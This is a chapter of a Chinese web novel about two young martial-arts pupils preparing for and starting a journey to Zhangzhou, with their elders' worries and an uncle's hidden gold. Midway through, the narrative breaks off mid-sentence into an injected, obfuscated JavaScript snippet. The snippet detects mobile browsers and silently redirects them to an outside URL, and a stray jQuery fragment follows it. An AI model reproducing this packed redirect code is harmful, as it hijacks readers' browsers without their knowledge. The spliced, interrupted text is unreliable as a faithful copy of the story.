27. 十五岁

作品:《我的靠山是大魏罪臣们

    戚云福和居韧都没见过真正的兵器,更不晓得甚么样的剑,才能被称之为“一把好剑”,这些事只能回去问家里人。


    只是,事有意外。


    用过晚饭,居村长郑重地召开了村会,针对两个小辈要去漳州这件事,展开了长达半个时辰的批斗。


    南山村管事的只有居村长,他发话时,旁人都不好打断,只能干站着听,像一帮被训的。


    训完,居村长郁声道:“你们是怎么想的都说说吧。”


    苏神武表示不理解:“我徒弟难得有机会出去一趟,为何要阻止?”


    魏厚朴点头:“是咯,小辈难得有这样的机会,若是怕出事我多做些毒药给蜻蜓和韧哥儿带上就行了。”


    赵轻客和吴钩霜齐齐表示,他们可以陪着一起去,他兄弟二人并非被贬,而是辞官,要去漳州只需到县衙开一张路引,这并不难。


    “爷爷,机会难得,我们央了姚叔叔许久他才同意的。”,戚云福可怜巴巴地说。


    居韧鼓着脸颊,扭到一旁去不说话。


    居村长神色凝重:“你和韧哥儿年纪加起来都没你爹大呢,我不同意。”


    “爹爹~”,戚云福抿着嘴儿,小心翼翼蹭到戚毅风跟前,抱住他的胳膊,仰起脑袋拿水汪汪的眸子看人。


    戚毅风哪里拒绝得了撒娇的闺女。


    他声音低沉,带着一贯的冷静:“墨哥儿去漳州,姚县令定会安排妥当,一路走官道宿驿站,到了漳州也有礼姐儿和她夫家接应,确实也是难得有这样的机会,村长再细细考虑一下吧,最后都听您的。”


    居村长沉默不语。


    他看着院里安静下来,似都在等着自己做决断,放手让孩子自己出去闯荡,终是无声叹息。


    “那便去罢。”


    戚云福原地蹦起来:“居爷爷最好了!”


    “爷爷,我一定会保护好自己和蜻蜓的。”,居韧郑重其事地与爷爷保证着。


    他已长成了一个俊秀少年,身姿挺拔如翠竹,眼神明亮而坚毅,有股虎虎的冲劲,虽然不够沉稳,但也能担事,自己做决定了。


    居村长有欣慰,也有伤感。


    头一回出远门,长辈们千叮咛万嘱咐尤觉不足,出门在外哪哪都缺,除了换洗衣物、防身小件、还要备足银两和干粮。


    戚云福和居韧是他们亲自教出来的,身手好自保没问题,可到底年轻不经事,心思单纯,不懂得那些弯弯绕绕的谋算。


    好在有姚闻墨同行。


    姚闻墨为人稳重,行事也周到圆滑,是个值得信任的。


    事情说定,翌日苏神武带着俩小徒弟进山,与二人仔细讲解兵家之器的区别,以及如何去挑选合适自己的兵器。


    “你们切磋一下,分别使木剑和木刀。”


    在溪流旁的开阔地带,持木剑对立而站的戚云福和居韧颇为正经地对彼此拱拱手,旋即缠打在一处。


    戚云福反应极其灵敏,剑招行云流水,身影迅疾如风,在进攻的同时也能精准躲避居韧的每一次攻击。


    反观居韧,木剑太轻局限住他本身的力量,虽能接住戚云福的剑招却很难找到化被动为主动的机会,几十回合下来,他手中的木剑被挑飞。


    居韧缓缓舒了一口气息:“蜻蜓的剑招太连贯了,很难找到破绽。”


    “改用这把试试。”,苏神武将支在草地上的桃木刀扔过去。


    居韧单手接过,瞬间感受到这把刀的重量。


    不过明显的是,他使重刀要比木剑顺手,在接下来的比斗中他以力破巧,能和戚云福打个平手。


    在切磋身手不使用内力的情况下,戚云福用剑,居韧用重刀,势均力敌,若是加入内力,他恐怕会输得很惨。


    苏神武扬唇笑道:“蜻蜓天赋好,内家劲气练得炉火纯青,在打斗中更易占据上风。”


    居韧心悦臣服。


    戚云福举了举手中木剑,“师父,你让我和阿韧切磋,是为了让我们找到合适自己的兵器吗?”


    苏神武点头:“你适合使轻剑,剑身窄而薄,刃口要能见血封喉,材质一般是寒铁掺青铜砂,对锻造师的锻造手法要求较高。”


    “至于阿韧,可使重刀,一掌宽,长约四尺,厚背薄刃,精钢打造。回头我写个小册子你们带上,到了漳州先去打探专门锻造兵器的铺子,按我说的这些提要求,能避免被当作外行人宰。”


    戚云福和居韧小鸡啄米般点头,听得格外认真。


    傍晚归家,戚毅风将戚云福唤到屋里,打开收拾好了两个大包袱,一一与她讲吃穿用的分别在哪,甚么时候该用甚么,甚么又千万不能弄丢。


    字字句句里都是老父亲对即将出远门的闺女的担忧。


    戚云福乖乖应着。


    戚毅风摸了摸她脑袋,微俯身道:“去了漳州,莫要单独出门,去哪都带上韧哥儿,知道吗?”


    戚云福弯着眸笑,露出脸颊不甚明显的酒窝来:“我知道的,爹爹放心吧。”


    “要真能放心就好咯。”,戚毅风无奈地摇摇头,从腰间扯下钱袋交到闺女手上,


    戚云福捏了捏,里面应是装着几个银锭。


    戚毅风背过身,握拳抵在唇边轻咳一声:“这些是让你拿着路上用的,至于锻剑的费用……有些贵,去找你三叔要吧。”


    “三叔很有钱吗?”,戚云福挠头。


    “没错,你三叔有钱。”


    戚毅风朝外挥挥手,一副理所当然的模样。


    戚云福应了一声“好。”


    出了房间飞过院墙去敲吴钩霜的屋门。


    “三叔三叔三叔!”


    连唤了许多声,吴钩霜才套上外衣出来开门,他顶着一头乱糟糟的发,眼睛都没睁开:“蜻蜓啊,你过来有什么事?”


    戚云福挤开他进去,环顾四周,除了床就一张四方桌,她皱着鼻子,生气道:“爹又骗人!”


    “怎么了?”


    戚云福控诉道:“爹说锻剑的费用太贵了他没有,让我找三叔要,可是三叔穷得连条亵裤都买不起,哪里就有银子了。”


    “……”


    吴钩霜难得有了一丝窘迫,他系紧了裤腰带把露出来洗得脱线的亵裤边边藏起来,尽量让自己看着像个靠谱的长辈。


    他正色道:“想要锻把好剑是得不少银子。”


    吴钩霜摸摸鼻子,走到床前把几块木板掀起来,与戚云福招招手:“过来拿两块应该就够了,你和韧哥儿都算上,权当是三叔送你们的生辰礼。”


    戚云福伸脑袋去瞧,一时没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782201|173035||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    反应过来便被铺满床底的金条给晃了眼。


    她呆呆地睁圆眸子。


    ·


    出发当日,戚毅风三兄弟亲自送人去县里,戚云福和居韧坐在一处,对着脑袋嘀嘀咕咕许久,时不时看吴钩霜一眼。


    吴钩霜目光游移,心里抓狂。


    早知道就不把家底兜出去了!


    到了县里,吴钩霜没好气地瞪着对面俩崽子:“一路上嘀嘀咕咕说我坏话呢。”


    居韧立马反驳:“冤枉啊,蜻蜓是跟我讲三叔多威猛霸气呢。”


    “是我的金条威猛霸气吧?”


    居韧嘿嘿笑,殷勤地过去给他捶腿。


    戚云福也笑,伸手给他捏肩。


    吴钩霜被闹得发笑,愉悦道:“行了,你们俩啊,全须全尾地从漳州回来,就是对得住我这份礼了。”


    姚家安排的车队已经在城门口等着了,真到了分别的时候,戚云福才觉出不舍来,她红着眼眶窝在爹爹怀里,抱住晃晃。


    “爹爹,我走啦。”


    戚毅风将她举高,如儿时一般转圈圈,冷硬的轮廓柔和了些,深邃的眸中带着不舍:“去吧,记住爹爹叮嘱的话。”


    “嗯嗯。”


    上了姚家的马车,掀开车帘,戚云福趴在窗边看她爹爹,直至远了,连城门的模样都瞧不着了,她才垂头丧气地坐回去。


    居韧帮她把背上包袱卸了,挂到车壁去,感受着车厢里软和的坐垫,对接下来的路程期待不已。


    “姚闻墨,等会上了官道,我和蜻蜓可以骑马吗?”


    姚闻墨正襟危坐,闻言撇了他一下:“你骑便是,只是马背颠簸,蜻蜓就不跟你去了。”


    “我也想去的。”,戚云福拽拽姚闻墨衣袖儿,合着手拜拜,央求说:“官道一定很宽阔,我还没和阿韧跑过快马呢,可想试试了。”


    居韧“嗯嗯”附和。


    姚闻墨放下书本,捏着额心,隐隐有一种预感,自己怕是带了两个麻烦上路,接下来有得操心。


    见他不应,居韧赶紧去捶他左腿,戚云福捶他右腿,四只眼睛直勾勾盯着人瞧,动作眼神默契得很。


    姚闻墨妥协道:“可以骑马,但是不能跑快马脱离车队。”


    “没问题!”居韧应得爽快。


    反正上了马背,鞭子一扬就往前奔去了。


    戚云福从包袱里掏出自己那对鹿皮臂缚绑好,蹬蹬脚上的鹿皮小靴,身上束腰的鹅黄截袖面裙也不显累赘,她拆了头上梳好的发髻,将发绳递给居韧。


    “阿韧,你给我绑一个和你那样的高马尾,还要系长长的发带。”,戚云福坐到居韧身边去,憧憬道:“这样跑马时,发带就会飘呀飘的,随着衣摆发出猎猎响声,像话本里扬鞭策马的大侠。”


    居韧打击她:“就两根发带可发不出猎猎响声。”


    戚云福握拳打过去:“那就把发带都系上去,快点!”


    “行行行,蜻蜓大侠。”


    两人插科打诨,难掩举手投足间的亲昵,这马车内里宽阔,摆得下张软榻来,可姚闻墨此时却觉着这车厢实在太窄小。


    他看那亲亲热热说着小话的俩人极其不顺眼,干脆重新拾起书本,同时在心中警醒自己,万不可因一己之私玷污了朋友情谊。